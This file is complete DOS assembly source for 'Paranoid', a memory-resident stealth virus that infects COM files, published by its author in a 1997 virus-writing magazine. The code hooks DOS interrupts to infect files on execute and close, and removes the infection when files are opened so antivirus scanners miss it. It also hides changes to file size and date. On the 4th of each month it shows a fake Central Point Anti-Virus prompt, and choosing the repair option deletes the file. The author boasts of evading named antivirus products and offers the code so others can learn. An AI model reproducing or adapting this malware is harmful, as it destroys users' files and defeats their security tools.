home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VIRDCOLL.ZIP / PARANOID.ZIP / PARANOID.ASM next >
Encoding:
Assembly Source File  |  1997-07-09  |  18.3 KB  |  689 lines

  1. ;
  2. ;           ┌───≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡───┐
  3. ;           │                    ≈Paranoid≈                    │
  4. ;           │                                                  │
  5. ;           │ written by Virtual Daemon for SLAM 1997 issue #3 │
  6. ;           └───≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡≡───┘
  7. ;
  8. ; » TSR:    [√]
  9. ; » COM:    [√]
  10. ; » EXE:    [ ]
  11. ; » BS/MBR: [ ]
  12. ;
  13. ; Description:
  14. ; ────────────
  15. ;    - infect files on 4bh (load or execute), 3eh (close) and 4301h (set attr)
  16. ;    ─ desinfect files on 3dh (open) and 6c00h (extended open)
  17. ;    ─ size stealth on 11h/12h/4eh/4fh (find 1st/next FCB/DTA)
  18. ;    - time stealth on 5700h (get file date/time)
  19. ;    - restore file time/date/attributes
  20. ;    - infect read-only files
  21. ;    - Int 24h handler
  22. ;    - infect COMMAND.COM
  23. ;    - cool payload on the 4th day of the month! :)
  24. ;    - F-Prot, AVP, Toolkit, McAffe SCAN, etc... can't find a shit if the
  25. ;      virus is active in memory... hehehe! :)
  26. ;
  27. ;   Well, I made this virus for the 3rd issue of SLAM Magazine. It's a full
  28. ; stealth COM infector (I haven't got the time to do it for EXE's too :( ).
  29. ; The virus will desinfect on file open and re-infect on close. Besides that,
  30. ; it will infect on 4bh (load or execute) and on 4301h (set file attributes).
  31. ; The virus has also some size stealth features... this way, it will not report
  32. ; any size increase during find first/next functions. All this "functions"
  33. ; makes 'Paranoid' a pretty good infector. I've tested it with F-Prot 2.27,
  34. ; AVP, Dr.Solomon's Toolkit, AidsTest, McAfee Scan and others and NONE of them
  35. ; can trace it. That's bcoz when the AV's are trying to open the file, I
  36. ; desinfect it so they wont find shit, and when they're trying to close it, I
  37. ; will re-infect it... heheh...
  38. ;   Anyway, this is not a cool technical virus, and I know that there are
  39. ; plenty elites virus coders who already know how to make a shit like this.
  40. ; Anyway, for those who don't: here's a chance for you to learn!
  41. ;   The payload? Hehehe... Well, I like this one! Do U guys remember the old
  42. ; CPAV anti-virus system? It had an "immunize" option which could insert a
  43. ; code in an executable file. If the file was being modified in any way, the
  44. ; code gived the chance for the file to be restored. Ok... This is what
  45. ; Paranoid do: on the 4th day of the month (I was born on 4 september) it
  46. ; will activate a little code. It will appear the same shit words and options
  47. ; like CPAV's shit. So, the user will have 3 options: one to exit to DOS, one
  48. ; to continue the programs execution and the 3rd to recover the file. Of course,
  49. ; the majority of users (they're all LAMERS!) will choose the 3rd one...hehehe
  50. ; hehehe... but instead of recovering the virus will delete the file! :-))
  51. ;   Maybe for some of you, this payload sucks... well, I like it, and there's
  52. ; nothing you can do about it! ;-)
  53. ;   I didn't include an encryption system for 2 reasons:
  54. ; 1) if the virus is active, no lamer can see the virus bcoz we're full stealth
  55. ; 2) if a lamer will boot from a clean disk and will look at the file, he will
  56. ; see most of the virus looking like the CPAV anti-virus protection (all the
  57. ; strings from the end are exactly the same)
  58. ;
  59. ;   One last thing: the name of the virus come from a song of Green Day band
  60. ; called "Basket Case"! Green Day is one of my favourite bands so I think that
  61. ; this virus is dedicated to them! Love ya' guys! :)
  62. ;
  63. ;                  ─═══════════════════════════════════─
  64. ;                   Sometimes I give myself the CREEPS
  65. ;                    Sometimes my mind plays tricks on me
  66. ;                         It all keeps adding up
  67. ;                         I think I'm CRACKING UP
  68. ;                          Am I just ≈PARANOID≈?
  69. ;                           Am I just STONED
  70. ;                              ( Green Day )
  71. ;                       ─═════════════════════════─
  72. ;
  73. ; Greetz goes out to: -all the SLAM ppl (NJ, Hyperlock, Cyborg, DarkSide,
  74. ;                      AuroDreph, Stealth Warrior, Dark Chakal, Death Knight
  75. ;                      LON, l0nerider and Cursor)
  76. ;                     -MrSandman and the entire 29A crew: guys you're great!
  77. ;                      Love ya' all! ;)
  78. ;                     -all the ppl from IRC on channel #virus: see ya soon!
  79. ;                     -Yosha, Casio, Pockets: see ya soon on undernet!
  80. ;                     -IR/G and Stealth: you're all elites! keep up the work!
  81. ;                     -Quantum, Metabolis and the old VLAD crew: you were
  82. ;                      the BEST group from this earth, universe etc... ;-))
  83. ;                     -Neophyte: come back brother! :'(
  84. ;                     -and to all others that I forgot right now
  85. ;
  86. .model tiny
  87. .code
  88.    org 0
  89. begin:
  90.    call start
  91. start:
  92.    pop bp
  93.    sub bp,offset start          ;get delta offset
  94.  
  95.    push ds
  96.    push es
  97.  
  98.    mov ax,'VD'                  ;check if already installed
  99.    int 21h
  100.    cmp bx,':)'
  101.    je complete                  ;don't install if already installed
  102.  
  103.    mov ah,4ah
  104.    mov bx,0ffffh
  105.    int 21h
  106.  
  107.    sub bx,(endheap-begin+15)/16+1
  108.    mov ah,4ah
  109.    int 21h
  110.    jc complete
  111.    sub word ptr ds:[2],(endheap-begin+15)/16+1
  112.  
  113.    mov ah,48h
  114.    mov bx,(endheap-begin+15)/16
  115.    int 21h
  116.    jc complete
  117.  
  118.    push ax
  119.    pop es
  120.    dec ax
  121.    push ax
  122.    pop ds
  123.  
  124.    xor di,di                    ;F-Prot won't detect anything in memory! ;)
  125.    mov al,'Z'
  126.    mov byte ptr ds:[di],al
  127.    mov ax,8
  128.    mov word ptr ds:[di+1],ax
  129.  
  130.    push cs                      ;DS=CS
  131.    pop ds
  132.    xor di,di
  133.    mov cx,(heap-begin)/2+1
  134.    mov si,bp
  135.    rep movsw                    ;load the virus in memory
  136.  
  137.    xor ax,ax
  138.    mov ds,ax
  139.    push ds
  140.    lds ax,ds:[21h*4]            ;save Int 21h vector
  141.    mov word ptr es:oldint21,ax
  142.    mov word ptr es:oldint21+2,ds
  143.    pop ds
  144.    mov word ptr ds:[21h*4],offset new21 ;put our Int 21h handler
  145.    mov ds:[21h*4+2],es
  146. complete:
  147.    pop es
  148.    pop ds
  149.    lea si,[bp+offset jumpbuf]   ;restore saved bytes
  150.    mov di,100h
  151.    push di
  152.    movsw                        ;move a word
  153.    movsb                        ; and a byte => 3 bytes (size of JMP)
  154.    retn                         ;return to host
  155.  
  156. new24:
  157.    mov al,3
  158.    iret
  159.  
  160. new21:
  161.    cmp ax,'VD'                  ;install?
  162.    jne continue
  163.    mov bx,':)'
  164.    iret
  165. virus_name  db '·PARANOID·'     ;Yeah! This is the best part! ;)
  166. signature   db '[VD/SLAM]'
  167.  
  168. continue:
  169.    cmp ah,4bh                   ;load or execute?
  170.    jne fuck
  171.    jmp infect
  172. fuck:
  173.    cmp ax,4301h                 ;set new attributes?
  174.    jne megafuck
  175.    jmp infect
  176. megafuck:
  177.    cmp ah,3eh                   ;close file?
  178.    jne gigafuck
  179.    jmp close_infect
  180. gigafuck:
  181.    cmp ah,3dh                   ;open file?
  182.    jne terrafuck
  183.    jmp desinfect
  184. terrafuck:
  185.    cmp ax,6c00h                 ;extended open?
  186.    jne mgtfuck
  187.    jmp extended
  188. mgtfuck:
  189.    cmp ah,11h                   ;find 1st FCB?
  190.    je FCB_stealth
  191.    cmp ah,12h                   ;find next FCB?
  192.    je FCB_stealth
  193.    cmp ah,4eh                   ;find 1st DTA?
  194.    je DTA_stealth
  195.    cmp ah,4fh                   ;find next DTA?
  196.    je DTA_stealth
  197.    cmp ax,5700h                 ;get file time/date?
  198.    jne exithandler
  199.    jmp time_stealth
  200. exithandler:
  201.    db 0eah                      ;return to original Int21h
  202. oldint21   dd ?
  203.  
  204. FCB_stealth:
  205.    pushf
  206.    push cs
  207.    call exithandler             ;get the FCB dude! ;-)
  208.  
  209.    or al,0                      ;hmmm... errors? DID anyone SAID errors? ;)
  210.  
  211.    jnz skip_dir                 ;wow! megashit! :( We must return...
  212.    push ax bx es
  213.  
  214.    mov ah,51h                   ;get the PSP
  215.    int 21h
  216.    mov es,bx
  217.    cmp bx,es:[16h]              ;check if it's a DIR call
  218.    jnz error
  219.  
  220.    mov bx,dx                    ;get FCB offset
  221.    mov al,[bx]                  ;al=drive
  222.    push ax
  223.    mov ah,2fh                   ;get DTA
  224.    int 21h
  225.    pop ax
  226.    inc al
  227.    jnz no_ext
  228.    add bx,7                     ;Extended FCB? Okie, dokie... bx=bx+7
  229. no_ext:
  230.    cmp word ptr es:[bx+1fh],0   ;check if bigger
  231.    jnz error
  232.    mov ax,es:[bx+19h]
  233.    cmp ah,100                   ;infected?
  234.    jb error                     ;nope! :(
  235.  
  236.    ror ah,1                     ;substract 100 years
  237.    sub ah,100
  238.    rol ah,1
  239.    mov es:[bx+19h],ax           ;put back the new value
  240.  
  241.    sub word ptr es:[bx+1dh],(heap-begin) ;do some stealth around here! :)
  242. error:
  243.    pop es bx ax
  244. skip_dir:
  245.    retf 2
  246.  
  247. DTA_stealth:
  248.    pushf
  249.    push cs
  250.    call exithandler
  251.    jc no_files                  ;errors? I HATE errors... :(
  252.  
  253.    pushf
  254.    push ax di es bx
  255.  
  256.    mov ah,2fh                   ;get DTA
  257.    int 21h
  258.  
  259.    mov ax,es:[bx+18h]
  260.    cmp ah,100                   ;infected?
  261.    jb not_inf                   ;nope... :(
  262.  
  263.    cmp word ptr es:[bx+1ah],(heap-begin)
  264.    ja hide
  265.    cmp word ptr es:[bx+1Ch],0
  266.    je not_inf
  267. hide:
  268.    ror ah,1                     ;"adjust" the years...
  269.    sub ah,100
  270.    rol ah,1
  271.    mov es:[bx+18h],ax
  272.  
  273.    sub word ptr es:[bx+1ah],(heap-begin)  ;cut size
  274. not_inf:
  275.    pop bx es di ax
  276.    popf
  277. no_files:
  278.    retf 2
  279.  
  280. time_stealth:
  281.    pushf
  282.    call dword ptr cs:[oldint21]
  283.    jc shit
  284.    cmp dh,100                   ;check if infected
  285.    jb no_way
  286.    ror dh,1                     ;make it look "younger" with a century
  287.    sub dh,100
  288.    rol dh,1
  289. no_way:
  290.    iret
  291. shit:
  292.    retf 2
  293.  
  294.  
  295. extended:
  296.    cmp dx,1
  297.    je yeah
  298.    jmp exithandler
  299. yeah:
  300.    mov ah,3dh
  301.    mov al,bl
  302.    mov dx,si                   ;get the file's name in ds:dx
  303.    mov byte ptr ashit,1        ;mark as an extended call
  304.  
  305. desinfect:
  306.    push ax bx cx dx di si ds es
  307.  
  308.    push ds
  309.    pop es                       ;ES=DS
  310.  
  311.    mov cx,64                    ;PATH+file name=65 (max)
  312.    mov di,dx
  313.    mov al,'.'                   ;search till '.' found
  314.    repne scasb                  ;repeat till cx=0
  315.  
  316.    cmp word ptr ds:[di],'oc'    ;check if extension is com or COM
  317.    je stepcomplete
  318.    cmp word ptr ds:[di],'OC'
  319.    jne other_shit               ;not a COM/com file
  320. stepcomplete:
  321.    cmp byte ptr ds:[di+2],'m'
  322.    je openfile
  323.    cmp byte ptr ds:[di+2],'M'
  324.    je openfile
  325. other_shit:
  326.    jmp goaway
  327. openfile:
  328.    mov ax,4300h                 ;get old attributes
  329.    int 21h
  330.    push cx
  331.    push dx
  332.    push ds
  333.  
  334.    mov ax,4301h                 ;set new ones
  335.    xor cx,cx
  336.    pushf                        ;use a fake int 21h call, bcoz else we will
  337.    call dword ptr cs:[oldint21] ;enter in an infinite loop
  338.  
  339.    mov ax,3d02h                 ;open file RW
  340.    pushf
  341.    call dword ptr cs:[oldint21]
  342.    xchg bx,ax
  343.  
  344.    push cs cs
  345.    pop ds es                    ;CS=DS=ES
  346.  
  347.    mov ax,5700h                 ;get time
  348.    pushf
  349.    call dword ptr cs:[oldint21]
  350.    mov ax,dx
  351.    cmp ah,100                   ;check if infected
  352.    jnb us
  353.    jmp close_dis                ;if not equal then don't stealth
  354. us:
  355.    mov word ptr cs:[file_time],cx
  356.    mov word ptr cs:[file_date],dx
  357.  
  358. read_f4:
  359.    mov ah,3fh                   ;read the 1st 3 bytes
  360.    mov cx,3
  361.    lea dx,buffer
  362.    pushf
  363.    call dword ptr cs:[oldint21]
  364. chk_markers:
  365.    cmp byte ptr buffer,0e9h     ;check if it is a jmp.
  366.    jne close_dis                ;not equal? then it's not infected!?!
  367.  
  368.    mov ax,4202h                 ;go to EOF
  369.    xor cx,cx
  370.    cwd
  371.    int 21h
  372.  
  373.    mov dx,ax                    ;save file size
  374.    push dx
  375.  
  376.    mov cx,word ptr buffer+1     ;check if infected
  377.    add cx,(heap-begin)+3
  378.    cmp ax,cx
  379.    jne close_dis
  380.  
  381.    sub dx,(heap-jumpbuf)        ;go to where the JMP bytes are stored
  382.    xor cx,cx
  383.    mov ax,4200h
  384.    int 21h
  385.  
  386.    mov ah,3fh                   ;read the original bytes in memory
  387.    mov cx,3
  388.    lea dx,buffer
  389.    pushf
  390.    call dword ptr cs:[oldint21]
  391.  
  392.    mov ax,4200h                 ;go to BOF
  393.    xor cx,cx
  394.    cwd
  395.    int 21h
  396.  
  397.    mov ah,40h                   ;write the original code
  398.    lea dx,buffer
  399.    mov cx,3
  400.    pushf
  401.    call dword ptr cs:[oldint21]
  402.  
  403.    pop dx                       ;restore file size
  404.  
  405.    sub dx,(heap-begin)          ;substract the length of our virus
  406.    mov ax,4200h
  407.    xor cx,cx
  408.    int 21h
  409.  
  410.    mov ah,40h                   ;truncate the file
  411.    xor cx,cx
  412.    pushf
  413.    call dword ptr cs:[oldint21]
  414.  
  415. close_dis:
  416.    mov ax,5701h
  417.    mov cx,word ptr cs:[file_time]
  418.    mov dx,word ptr cs:[file_date]
  419.    ror ah,1                     ;restore original year
  420.    sub ah,100
  421.    rol ah,1
  422.    pushf
  423.    call dword ptr cs:[oldint21]
  424.  
  425.  
  426.    mov ah,3eh                   ;close the phile
  427.    pushf
  428.    call dword ptr cs:[oldint21]
  429.    mov ax,4301h                 ;restore attributes
  430.    pop ds
  431.    pop dx
  432.    pop cx
  433.    pushf
  434.    call dword ptr cs:[oldint21]
  435. goaway:
  436.    pop es ds si di dx cx bx ax
  437.    cmp byte ptr ashit,1         ;check if was an extended open
  438.    jne notex                    ;nope
  439.    mov ax,6c00h                 ;set ax to 6c00h
  440.    mov dx,1                     ;set dx to 1
  441.    mov byte ptr ashit,0         ;set the check variable to 0
  442. notex:
  443.    jmp exithandler
  444.  
  445. jumpbuf db 0cdh,20h,0
  446.  
  447. infect:
  448.    push ax bx cx dx si di ds es
  449.    push ds
  450.    push dx
  451.    mov byte ptr cs:[sclose],0   ;set the infect checking variable to 0
  452. yoyo_check:                     ;it's payload time! hehehe... ;)
  453.    mov ah,2ah
  454.    int 21h
  455.    cmp dl,4
  456.    je yep
  457.    jmp nope
  458. yep:
  459.    push cs
  460.    pop ds
  461.    mov ah,9h
  462.    lea dx,yooo
  463.    int 21h
  464. ag:
  465.    mov ah,0eh                   ;this make that funny noise
  466.    mov al,07h
  467.    xor bh,bh
  468.    int 10h
  469.  
  470.    mov ah,1
  471.    int 21h
  472.  
  473.    or al,32                    ;check for both upper and lower cases
  474.    cmp al,'e'                  ;do some checking
  475.    je okie
  476.    cmp al,'c'
  477.    je nope
  478.    cmp al,'r'
  479.    je np
  480.  
  481.    mov ah,2
  482.    mov dl,8
  483.    int 21h
  484.    jmp ag
  485. np:
  486.    mov ah,41h                   ;wrong answer? delete the phile... heheh. :)
  487.    pop dx
  488.    pop ds
  489.    int 21h
  490.    jc okie
  491.    push cs
  492.    pop ds
  493.    mov ah,9h
  494.    lea dx,U_out
  495.    int 21h
  496. okie:
  497.    push cs
  498.    pop ds
  499.    mov ah,9h
  500.    lea dx,crlf
  501.    int 21h
  502.  
  503.    mov ah,4ch                   ;forced exit to DOS
  504.    int 21h
  505. nope:
  506.  
  507.    mov ax,3524h                 ;save Int 24h vector
  508.    int 21h
  509.    mov word ptr cs:[old_int24],bx
  510.    mov word ptr cs:[old_int24+2],es
  511.  
  512.    push cs
  513.    pop ds
  514.    lea dx,new24                 ;set a new Int 24h handler
  515.    mov ax,2524h
  516.    int 21h
  517.  
  518.    pop dx
  519.    pop ds
  520.    mov ax,4300h                 ;get file attributes
  521.    int 21h
  522.    push ds
  523.    push dx
  524.    push cx
  525.  
  526.    mov ax,4301h                 ;set new attributes (archive only)
  527.    xor cx,cx
  528.    pushf
  529.    call dword ptr cs:[oldint21]
  530.  
  531.    mov ax,3d02h                 ;open the file RW
  532.    pushf
  533.    call dword ptr cs:[oldint21]
  534.    xchg ax,bx
  535.  
  536. infect_close:
  537.    mov ax,5700h                 ;get file's date/time
  538.    pushf
  539.    call dword ptr cs:[oldint21]
  540.    mov ax,dx
  541.    cmp ah,100                   ;check if infected
  542.    jb shita
  543.    jmp close_file               ;infected? close the file
  544. shita:
  545.    mov word ptr cs:[file_time],cx
  546.    mov word ptr cs:[file_date],dx
  547.  
  548.    push cs cs                   ;CS=DS=ES
  549.    pop ds es
  550.  
  551.    mov ah,3fh                   ;read from file the first 3 bytes
  552.    lea dx,buffer                ;save them into our buffer
  553.    mov cx,3
  554.    pushf
  555.    call dword ptr cs:[oldint21]
  556.  
  557.    mov ax,4202h                 ;go to EOF
  558.    xor cx,cx
  559.    cwd
  560.    pushf
  561.    call dword ptr cs:[oldint21]
  562.  
  563.    mov word ptr file_size,ax
  564.    mov word ptr file_size+2,dx
  565.  
  566.    cmp word ptr buffer,'MZ'     ;check if EXE
  567.    je close_file
  568.    cmp word ptr buffer,'ZM'
  569.    je close_file
  570.  
  571.    mov ax,word ptr file_size    ;check if too big
  572.    cmp ax,65535-(endheap-begin)
  573.    ja close_file
  574.    cmp ax,(endheap-begin)       ;check if too small
  575.    jbe close_file
  576.  
  577.    mov cx,word ptr buffer+1     ;check if already infected
  578.    add cx,heap-begin+3
  579.    cmp ax,cx
  580.    je close_file
  581.  
  582.    mov di,offset jumpbuf        ;prepare new JMP
  583.    mov si,offset buffer
  584.    movsb
  585.    movsw
  586.    mov byte ptr [offset buffer],0e9h
  587.    sub ax,3
  588.    mov word ptr [offset buffer+1],ax
  589.  
  590.    mov ah,40h                   ;write the virus to host
  591.    lea dx,begin
  592.    mov cx,heap-begin
  593.    int 21h
  594.  
  595.    mov ax,4200h                 ;go to BOF
  596.    xor cx,cx
  597.    cwd
  598.    pushf
  599.    call dword ptr cs:[oldint21]
  600.  
  601.    mov ah,40h                   ;write the new JMP
  602.    lea dx,buffer
  603.    mov cx,3
  604.    pushf
  605.    call dword ptr cs:[oldint21]
  606.  
  607.    mov ax,5701h                 ;set old file's time/date
  608.    mov cx,word ptr cs:[file_time]
  609.    mov dx,word ptr cs:[file_date]
  610.    ror dh,1                     ;mark the file for stealth
  611.    add dh,100
  612.    rol dh,1
  613.    pushf
  614.    call dword ptr cs:[oldint21]
  615. close_file:
  616.    cmp byte ptr cs:[sclose],1   ;check if it's a close request or a infect
  617.    je out_of_here               ;close? hmmm... ok!
  618.    mov ah,3eh                   ;close the file
  619.    pushf
  620.    call dword ptr cs:[oldint21]
  621.  
  622.    mov ax,4301h                 ;set old attributes
  623.    pop cx
  624.    pop dx
  625.    pop ds
  626.    pushf
  627.    call dword ptr cs:[oldint21]
  628.  
  629.    mov ds,word ptr cs:[old_int24+2]
  630.    mov dx,word ptr cs:[old_int24]
  631.    mov ax,2524h                 ;restore the Int 24h handler
  632.    int 21h
  633. out_of_here:
  634.    mov byte ptr cs:[sclose],0   ;reset variable to 0
  635. exit:
  636.    pop es ds si di dx cx bx ax
  637. goback:
  638.    jmp exithandler
  639.  
  640. close_infect:
  641.    cmp bx,4                     ;check if AUX/NULL/CON
  642.    jbe goback
  643.    push ax bx cx dx di si ds es
  644.    push bx
  645.    mov ax,1220h
  646.    int 2fh
  647.    mov ax,1216h                 ;use SFT to get the extension
  648.    mov bl,byte ptr es:[di]
  649.    int 2fh
  650.    pop bx
  651.    add di,40                    ;di points to extension
  652.  
  653.    cmp word ptr es:[di],'OC'    ;check if it's a COM file
  654.    jne close_it
  655.    cmp word ptr es:[di+2],'M'
  656.    jne close_it
  657.  
  658.    mov byte ptr es:[di-26h],2   ;mark file as open in RW mode
  659.  
  660.    mov ax,4200h
  661.    xor cx,cx
  662.    cwd
  663.    int 21h
  664.  
  665.    mov byte ptr cs:[sclose],1   ;mark it as a close request
  666.    jmp infect_close
  667. close_it:
  668.    jmp short exit
  669.  
  670. U_out       db 0dh,0ah,'Wrong choice sucker! hehehe... ;-)','$'
  671. crlf        db 0dh,0ah,'$'
  672. yooo        db 'Central Point Anti-Virus (c) 1993 CPS',0dh,0ah
  673.             db 'Self Integrity Check warning - File was changed !',0dh,0ah
  674.             db 'Choose an option:',0dh,0ah
  675.             db '[R] Self Reconstruction.',0dh,0ah
  676.             db '[C] Continue execution.',0dh,0ah
  677.             db '[E] Exit to DOS.',0dh,0ah
  678.             db 'Press R,C or E:$'
  679. old_int24   dd ?
  680. heap:
  681. file_size   dd ?
  682. file_time   dw ?
  683. file_date   dw ?
  684. sclose      db 0
  685. ashit       db ?
  686. buffer      db 3 dup (?)
  687. endheap:
  688. end begin
  689.